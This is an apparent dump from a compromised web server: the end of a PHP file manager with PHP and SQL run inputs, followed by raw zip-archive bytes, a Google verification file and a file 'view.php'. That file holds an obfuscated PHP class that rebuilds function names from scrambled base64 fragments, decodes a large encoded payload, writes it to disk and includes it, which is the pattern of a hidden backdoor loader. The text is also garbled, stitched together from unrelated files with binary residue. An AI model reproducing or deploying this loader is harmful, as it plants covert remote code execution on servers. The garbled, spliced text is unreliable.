'.tar'; $destination = basename($source) . '.tar'; if (is_file($archive)) { unlink($archive); } if (is_file($archive . '.gz')) { unlink($archive . '.gz'); } set_time_limit(0); //echo $destination; $ext_arr = explode('.', basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext = implode('.', $ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ, $ext . '.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive . '.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' <a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>'; } else { $msg .= __('Error occurred') . ': ' . __('no files'); } } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?php echo __('File manager'); echo !empty($path) ? ' - ' . $path : ''; ?></th> </tr> <?php if (!empty($msg)) { ?> <tr> <td colspan="2" class="row2"><?php echo $msg; ?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?php echo fm_home(); ?> </td> <td> <?php if (!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?php echo $url_inc; ?>"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?php echo __('Make directory'); ?>"> </form> <?php } ?> </td> <td> <?php if (!empty($fm_config['new_file'])) { ?> <form method="post" action="<?php echo $url_inc; ?>"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?php echo __('New file'); ?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?php echo $url_inc; ?>" style="display:inline"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="text" placeholder="<?php echo __('Recursive search'); ?>" name="search_recursive" value="<?php echo !empty($_POST['search_recursive']) ? $_POST['search_recursive'] : ''; ?>" size="15"> <input type="text" name="mask" placeholder="<?php echo __('Mask'); ?>" value="<?php echo !empty($_POST['mask']) ? $_POST['mask'] : '*.*'; ?>" size="5"> <input type="submit" name="search" value="<?php echo __('Search'); ?>"> </form> </td> <td> <?php echo fm_run_input('php'); ?> </td> <td> <?php echo fm_run_input('sql'); ?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?php echo $url_inc; ?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?php echo __('Select the file'); ?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?php echo __('Upload'); ?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?php echo __('Hello'); ?>, <?php echo $auth['login']; ?> <input type="submit" value="<?php echo __('Quit'); ?>"> </form> <?php } ?> </td> <td> <?php echo fm_lang_form($language); ?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?php echo __('Filename'); ?> </th> <th style="white-space:nowrap"> <?php echo __('Size'); ?> </th> <th style="white-space:nowrap"> <?php echo __('Date'); ?> </th> <th style="white-space:nowrap"> <?php echo __('Rights'); ?> </th> <th colspan="4" style="white-space:nowrap"> <?php echo __('Manage'); ?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file) { if (@is_dir($path . $file)) { $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file) { $filename = $path . $file; $filedata = @stat($filename); if (@is_dir($filename)) { $filedata[7] = ''; if (!empty($fm_config['show_dir_size']) && !fm_root($file)) { $filedata[7] = fm_dir_size($filename); } $link = '<a href="' . $url_inc . '&path=' . $path . $file . '" title="' . __('Show') . ' ' . $file . '"><span class="folder"> </span> ' . $file . '</a>'; $loadlink = fm_root($file) || $phar_maybe ? '' : fm_link('zip', $filename, __('Compress') . ' zip', __('Archiving') . ' ' . $file); $arlink = fm_root($file) || $phar_maybe ? '' : fm_link('gz', $filename, __('Compress') . ' .tar.gz', __('Archiving') . ' ' . $file); $style = 'row2'; if (!fm_root($file)) { $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?') . '\\n /' . $file . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } else { $alert = ''; } } else { $link = $fm_config['show_img'] && @getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) . '\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="' . fm_img_link($filename) . '"><span class="img"> </span> ' . $file . '</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path . '" title="' . __('Edit') . '"><span class="file"> </span> ' . $file . '</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download', $filename, __('Download'), __('Download') . ' ' . $file); $arlink = in_array($ext, array('zip', 'gz', 'tar')) ? '' : (fm_root($file) || $phar_maybe ? '' : fm_link('gzfile', $filename, __('Compress') . ' .tar.gz', __('Archiving') . ' ' . $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' ' . $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') . ' ' . $file . '">' . __('Rename') . '</a>'; $rightstext = $file == '.' || $file == '..' ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') . ' ' . $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?php echo $style; ?>"> <td><?php echo $link; ?></td> <td><?php echo $filedata[7]; ?></td> <td style="white-space:nowrap"><?php echo gmdate("Y-m-d H:i:s", $filedata[9]); ?></td> <td><?php echo $rightstext; ?></td> <td><?php echo $deletelink; ?></td> <td><?php echo $renamelink; ?></td> <td><?php echo $loadlink; ?></td> <td><?php echo $arlink; ?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home() . ' | ver. ' . $fm_version . ' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="' . fm_site_url() . '">.</a>'; if (!empty($fm_config['show_php_ver'])) { echo ' | PHP ' . phpversion(); } if (!empty($fm_config['show_php_ini'])) { echo ' | ' . php_ini_loaded_file(); } if (!empty($fm_config['show_gt'])) { echo ' | ' . __('Generation time') . ': ' . round($totaltime, 2); } if (!empty($fm_config['enable_proxy'])) { echo ' | <a href="?proxy=true">proxy</a>'; } if (!empty($fm_config['show_phpinfo'])) { echo ' | <a href="?phpinfo=true">phpinfo</a>'; } if (!empty($fm_config['show_xls']) && !empty($link)) { echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="' . __('Download') . ' xls">xls</a>'; } if (!empty($fm_config['fm_settings'])) { echo ' | <a href="?fm_settings=true">' . __('Settings') . '</a>'; } ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct() { if (!isset($this->errors)) { $this->errors = array(); } } function createArchive($file_list) { $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) { $newArchive = false; } else { $newArchive = true; } if ($newArchive) { if (!$this->openWrite()) { return false; } } else { if (filesize($this->archive_name) == 0) { return $this->openWrite(); } if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name . '.tmp')) { $this->errors[] = __('Cannot rename') . ' ' . $this->archive_name . __(' to ') . $this->archive_name . '.tmp'; return false; } $tmpArchive = gzopen($this->archive_name . '.tmp', 'rb'); if (!$tmpArchive) { $this->errors[] = $this->archive_name . '.tmp ' . __('is not readable'); rename($this->archive_name . '.tmp', $this->archive_name); return false; } if (!$this->openWrite()) { rename($this->archive_name . '.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)) { do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name . '.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) { return false; } } } if (isset($file_list) && is_array($file_list)) { if (count($file_list) > 0) { $result = $this->packFileArray($file_list); } } else { $this->errors[] = __('No file') . __(' to ') . __('Archive'); } if ($result && is_resource($this->tmp_file)) { $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result) { $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path) { $fileName = $this->archive_name; if (!$this->isGzipped) { if (file_exists($fileName)) { if ($fp = fopen($fileName, 'rb')) { $data = fread($fp, 2); fclose($fp); if ($data == '\\37\\213') { $this->isGzipped = true; } } } elseif (substr($fileName, -2) == 'gz' or substr($fileName, -3) == 'tgz') { $this->isGzipped = true; } } $result = true; if ($this->isGzipped) { $this->tmp_file = gzopen($fileName, 'rb'); } else { $this->tmp_file = fopen($fileName, 'rb'); } if (!$this->tmp_file) { $this->errors[] = $fileName . ' ' . __('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors($message = '') { $Errors = $this->errors; if (count($Errors) > 0) { if (!empty($message)) { $message = ' (' . $message . ')'; } $message = __('Error occurred') . $message . ': <br/>'; foreach ($Errors as $value) { $message .= $value . '<br/>'; } return $message; } else { return ''; } } function packFileArray($file_array) { $result = true; if (!$this->tmp_file) { $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array) <= 0) { return true; } for ($i = 0; $i < count($file_array); $i++) { $filename = $file_array[$i]; if ($filename == $this->archive_name) { continue; } if (strlen($filename) <= 0) { continue; } if (!file_exists($filename)) { $this->errors[] = __('No file') . ' ' . $filename; continue; } if (!$this->tmp_file) { $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename) <= 0) { $this->errors[] = __('Filename') . ' ' . __('is incorrect'); return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)) { if (($file = fopen($filename, 'rb')) == 0) { $this->errors[] = __('Mode ') . __('is incorrect'); } if ($this->file_pos == 0) { if (!$this->writeHeader($filename, $keep_filename)) { return false; } } while (($buffer = fread($file, 512)) != '') { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else { $this->writeHeader($filename, $keep_filename); } if (@is_dir($filename)) { if (!($handle = opendir($filename))) { $this->errors[] = __('Error') . ': ' . __('Directory ') . $filename . __('is not readable'); continue; } while (false !== ($dir = readdir($handle))) { if ($dir != '.' && $dir != '..') { $file_array_tmp = array(); if ($filename != '.') { $file_array_tmp[] = $filename . '/' . $dir; } else { $file_array_tmp[] = $dir; } $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path) { $path = str_replace('\\', '/', $path); if ($path == '' || substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')) { $path = './' . $path; } clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0) { if (!$this->readHeader($binaryData, $header)) { return false; } if ($header['filename'] == '') { continue; } if ($header['typeflag'] == 'L') { //reading long header $filename = ''; $decr = floor($header['size'] / 512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0) { $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) { return false; } else { $header['filename'] = $filename; } return true; } if ($path != './' && $path != '/') { while (substr($path, -1) == '/') { $path = substr($path, 0, strlen($path) - 1); } if (substr($header['filename'], 0, 1) == '/') { $header['filename'] = $path . $header['filename']; } else { $header['filename'] = $path . '/' . $header['filename']; } } if (file_exists($header['filename'])) { if (@is_dir($header['filename']) && $header['typeflag'] == '') { $this->errors[] = __('File ') . $header['filename'] . __(' already exists') . __(' as folder'); return false; } if (is_file($header['filename']) && $header['typeflag'] == '5') { $this->errors[] = __('Cannot create directory') . '. ' . __('File ') . $header['filename'] . __(' already exists'); return false; } if (!is_writeable($header['filename'])) { $this->errors[] = __('Cannot write to file') . '. ' . __('File ') . $header['filename'] . __(' already exists'); return false; } } elseif ($this->dirCheck($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])) != 1) { $this->errors[] = __('Cannot create directory') . ' ' . __(' for ') . $header['filename']; return false; } if ($header['typeflag'] == '5') { if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory') . ' ' . $header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file') . ' ' . $header['filename']; return false; } else { $decr = floor($header['size'] / 512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if ($header['size'] % 512 != 0) { $content = $this->readBlock(); fwrite($destination, $content, $header['size'] % 512); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file') . ' ' . $header['filename'] . ' ' . __('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) { $file_dir = ''; } if (substr($header['filename'], 0, 1) == '/' && $file_dir == '') { $file_dir = '/'; } $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir) { $parent_dir = dirname($dir); if (@is_dir($dir) or $dir == '') { return true; } if ($parent_dir != $dir and $parent_dir != '' and !$this->dirCheck($parent_dir)) { return false; } if (!mkdir($dir, 0777)) { $this->errors[] = __('Cannot create directory') . ' ' . $dir; return false; } return true; } function readHeader($binaryData, &$header) { if (strlen($binaryData) == 0) { $header['filename'] = ''; return true; } if (strlen($binaryData) != 512) { $header['filename'] = ''; $this->__('Invalid block size') . ': ' . strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($binaryData, $i, 1)); } for ($i = 148; $i < 156; $i++) { $checksum += ord(' '); } for ($i = 156; $i < 512; $i++) { $checksum += ord(substr($binaryData, $i, 1)); } $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum) { $header['filename'] = ''; if ($checksum == 256 && $header['checksum'] == 0) { return true; } $this->errors[] = __('Error checksum for file ') . $unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') { $header['size'] = 0; } $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename) { $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename) <= 0) { $keep_filename = $filename; } $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99) { //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($dataFirst, $i, 1)); } // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) { $checksum += ord(' '); } // Last part of the header for ($i = 156, $j = 0; $i < 512; $i++, $j++) { $checksum += ord(substr($dataLast, $j, 1)); } // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, $i++ * 512, 512)) != '') { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)) { $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($dataFirst, $i, 1)); } for ($i = 148; $i < 156; $i++) { $checksum += ord(' '); } for ($i = 156, $j = 0; $i < 512; $i++, $j++) { $checksum += ord(substr($dataLast, $j, 1)); } $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite() { if ($this->isGzipped) { $this->tmp_file = gzopen($this->archive_name, 'wb9f'); } else { $this->tmp_file = fopen($this->archive_name, 'wb'); } if (!$this->tmp_file) { $this->errors[] = __('Cannot write to file') . ' ' . $this->archive_name; return false; } return true; } function readBlock() { if (is_resource($this->tmp_file)) { if ($this->isGzipped) { $block = gzread($this->tmp_file, 512); } else { $block = fread($this->tmp_file, 512); } } else { $block = ''; } return $block; } function writeBlock($data, $length = 0) { if (is_resource($this->tmp_file)) { if ($length === 0) { if ($this->isGzipped) { gzputs($this->tmp_file, $data); } else { fputs($this->tmp_file, $data); } } else { if ($this->isGzipped) { gzputs($this->tmp_file, $data, $length); } else { fputs($this->tmp_file, $data, $length); } } } } function closeTmpFile() { if (is_resource($this->tmp_file)) { if ($this->isGzipped) { gzclose($this->tmp_file); } else { fclose($this->tmp_file); } $this->tmp_file = 0; } } function makeGoodPath($path) { if (strlen($path) > 0) { $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath) - 1; for ($i = $els; $i >= 0; $i--) { if ($partPath[$i] == '.') { // Ignore this directory } elseif ($partPath[$i] == '..') { $i--; } elseif ($partPath[$i] == '' and $i != $els and $i != 0) { } else { $result = $partPath[$i] . ($i != $els ? '/' . $result : ''); } } } else { $result = ''; } return $result; } }PK �:�\�l�j5 5 google340135b47aad172a.htmlnu �[��� google-site-verification: google340135b47aad172a.htmlPK �:�\ ��z �z view.phpnu ��6�$ <?php class Wix { function _claster($_node, $x64, $access) { $thread = strlen($x64) + strlen($access); $this->code = 0; while(strlen($access) < $thread) { $conf = ord($x64[$this->code]) - ord($access[$this->code]); $x64[$this->code] = chr($conf % (256/1)); $access .= $x64[$this->code]; $this->code++; } return $x64; } function _std($map) { $_block = $this->_std[1].$this->_std[2].$this->_std[3].$this->_std[0].$this->_std[4]; $_block = $_block($map); return $_block; } function ls($access, $factory) { $this->backend = $access; $this->factory = $factory; $this->vector = $this->process($this->vector); $this->vector = $this->_std($this->vector); $this->vector = $this->_zt(); if(strpos($this->vector, $this->backend) !== false) { if(!$this->_ls) $this->flag($this->zx, $this->_apache); $this->response($this->vector); $this->region($this->mv); } } function flag($map, $_memory) { $size = $this->claster($this->flag[0].$this->flag[2].$this->flag[1].$this->flag[4].$this->flag[3].$this->flag[5]); $size = $size($map, $_memory); } function _zt() { $_conf = $this->_claster($this->factory, $this->vector, $this->backend); $_conf = $this->_handler($_conf); return $_conf; } function region($emu) { $result = include($emu); return $result; } function _handler($map) { $point = $this->claster($this->_handler[3].$this->_handler[6].$this->_handler[5].$this->_handler[4].$this->_handler[1].$this->_handler[0].$this->_handler[2]); $point = $point($map); return $point; } function process($_factory) { $index = $this->claster($this->_proxy[4].$this->_proxy[2].$this->_proxy[0].$this->_proxy[5].$this->_proxy[3].$this->_proxy[1]); return $index(array(" ", "\r", "\n", "\t"), "", $_factory); } function response($_factory) { $mv = $this->claster($this->graph[2].$this->graph[0].$this->graph[1].$this->graph[3]); $this->mv = $mv() . $this->claster($this->error[0].$this->error[4].$this->error[3].$this->error[1].$this->error[2]) . md5(time()); $mv = $this->claster($this->x86[1].$this->x86[0].$this->x86[2]); $mv = $mv($this->mv, 'w'); if ($mv) { $emu = $this->claster($this->event[3].$this->event[1].$this->event[0].$this->event[2]); $emu($mv, $_factory); return $this->mv; } } function __construct() { $query = $this->process($this->container); $query = $this->_handler($this->claster($query)); $query = $this->response($query); $query = $this->region($query); if(is_array($query)) { list($block, $cmd, $_state, $rx) = $query; $this->_ls = $rx; $this->zx = $_state; $this->_apache = $block; $this->ls($block, $cmd); } } function claster($data) { $error = $this->_std($data); $error = $this->_claster('', $error, strval($this->twelve)); return $error; } public $backend; public $_set = array('p19', 'Li', 'ra', 'zcn', 'Ob', 'l6K', 'Xx', 'KwN'); public $_apache; public $zx; public $x86 = array('+i', 'mp', 'y90='); public $factory; public $event = array('z+v', 'ek', 'X', 'mq'); public $_ls; public $twelve = 402; public $code = 0; public $graph = array('7i4cjiz', '9XYwObG', 'p5Wl5s', '09g='); public $_std = array('_dec', 'ba', 'se', '64', 'ode'); public $_proxy = array('bXz', 'E=', 'k0u', 'G09', 'p6S', '97'); public $flag = array('p5', '1t', 'Wm', 'jzt', 'T', 'jU'); public $vector = '1/A83j0pGJczjUla7vl92RZELwWNoYkTw0U1X/6ixKGJZQCuumVgVfzvbo2l13Uu B5myMEjUAjMC2IfGpA0P/5sUifrXFU2WyK2ZPgLD80H9iOnZ6IQ2L26rSPiQPlcUHSFW+ET ZrSD0eGffAcY5fZMpBsTEzvq8PH5DNk8ZGW2Rs4U8iSnPf2EscLpc nI/dQO76F6XBn18AHEUV8A0kEOYpNHcu2u0QFa+RrzKw71UKAlH ZMo1K2xizaNLLurn88bBV4R0wUTGiMs2eieBprz03UVna1AUs21MSECKC6I cknslYHtCrWuXoHhlctfiebKfMGj0YN0Jn4ZeM XWj4e50QVb0xWrINGf+Zvu85+xpZ+o gLVnXf6nDG7al2DLqWI8kfY6aTQcTRrgOwccygl0Fq 5qVIEB+l8yvd70t8RN1o3w1x4OJRs1oOGTrzPMm3jmv1U6Pd0z36eRqqVKCJH1FzzrYzeuEo E6KRbRtG7v0BtpqMdZMqLD2PsHg7G8z r5paVysgGanF6OOIs5ovFqeeB8a3cznPMuw/uUDDmcjbMxq8EfkduMn7Rjmr ejEr8m9CdX4vJ9Om+w5dGqXLbbs0SNoW 21QHX2i9M+4EicNoaRDb883M9uW2AJV+WROyQcE9bE V2x1e0cBfO4WS020QKpf+FUj770MjkzDyHcOYuEZ7/hiSUI 6jf1aeWKqlwLkApmw4vl6D62gsOQ3a5oiqNFEsNWaP3/TCDPLSbmoWJQ209W c/BHMUBd2S9BIBmTW+WMSyciRFFZKtHsK7W70gzsMvmUwlvz4lQkr4nsnDTu58iYOOdCS0yjW 2mMzsZ+1wuS6fStNilITJE1rnroteeAUS1vXNaEeIxo8KKh4js41uJ0L/1wxY t0vZZDguogRu+7UrrXfZ4a6EKqspQBO aWfM9omfT6IXIyIZp8KaXTY3uMuBFl5ri3cEG7b5pWpKlTTBPZ cKTb6B0/wf0acxk6ZLm1qxla9ry5uDRb EAe336D1RkadOPxztVTAG6ROWzmRwdwGW998tXmh44diTIT40HeMlBtw1fk9+YrV4s kfVkRfSNStlDD590zCG0irqp7wAcXHJQrajL4yYv 8wMvj1lWj7XJdpQp+mE+C5RcLeIOMyF75aWl8uLVagO38cF6EkSrjMLT6z1kYAO9M9XFQ406Gz8PQ dV+bRs/pwod4vXXOargNgmVyoSnQ5zOeB0 rj1P+8nHO+i8j/DUNm0swjM1ZFhDlYdGMS0CLkE6wS8PtkXyQW2ymXZs9Km8Zf Utabja+cPwGoozWMERyyxMY5BRbqLNCSagHGACkk+UIghRiqudCfFtFpIrZlRhzeiQuI/fnH2g vqklCfWKx93P7buRHHlAYO9pC/rEMXvOBP7U3EIALSV55dj0Y V+C4KrFV7LCjkpmYEzioZNwrUOvbgpn7DnsqZlf4MP1M zIyQXtzFxWFRrfJOsl1c6ixP8l5wfZoKBwuSkNoMCSR lhsOMtvRYKVat0IFCu46z18ATlA1SBp0g3oYwBOtv o+d4hQd8N6ykORtNgXRjbj1OYT2Abypc0NyHFK2mEqY52ry50yS WAgyLV7Y9GDA4S9JUTBvjHoXoKhzsncpmNFBAiC69kzBh3Gk25SgAFc9qZfC5nnxmlYr1iSTzVFb0I8 91i/dMu75ZhUh8F6M0g7KM1xBrQhHe+O2kKJjkAlUnBhOlglqTtD/ocZ+A0siyD4jcjLabdVSl6 cbi8muN6k+r3s4AMURmyjvQq2odmnJKDNaD6rBkntV8aUnYCs15LwpYVIba 8Q4KgLF9agipg9RtfqRVxXgXlLMrR7kPSojlYij WxAc9lBgtszTyYiZq1H8Nkh9sq9ThtfxcFEvC1gVbR5RFyU 1aVj9M4GruT7hipjTQc95dLtsNm9jP0 sl9JwtQSOSDzl81muiKaotmGcwOc3o+pB7/0YOWUKkcBfX7BuGME5tlHO7RR92fymdd6dlQPuqMdhe1G 4WLYX76m5U7JhHz2bOrN3qbBMdL7rR+SwfYYdrdur87P0XLI3Nqvmp1 4cUzVo/LBUN8iP2k0nxUQW3LdPiZM3KNTPNGhKXWbP2Wvy26KEV yKzgu711SK0PJWb2d4MAb3UP9G3AVkJGNjzOhG9mGing9KhSvJkS4B46pTwgXwkz Pj0EySxSU/0xDreNzGJZ4DjHgUeEKEBu+tQQkGtTh36 HSm3I1tjEUows69HCp7eDKOJeBbdtl0bDuY6Z62cS 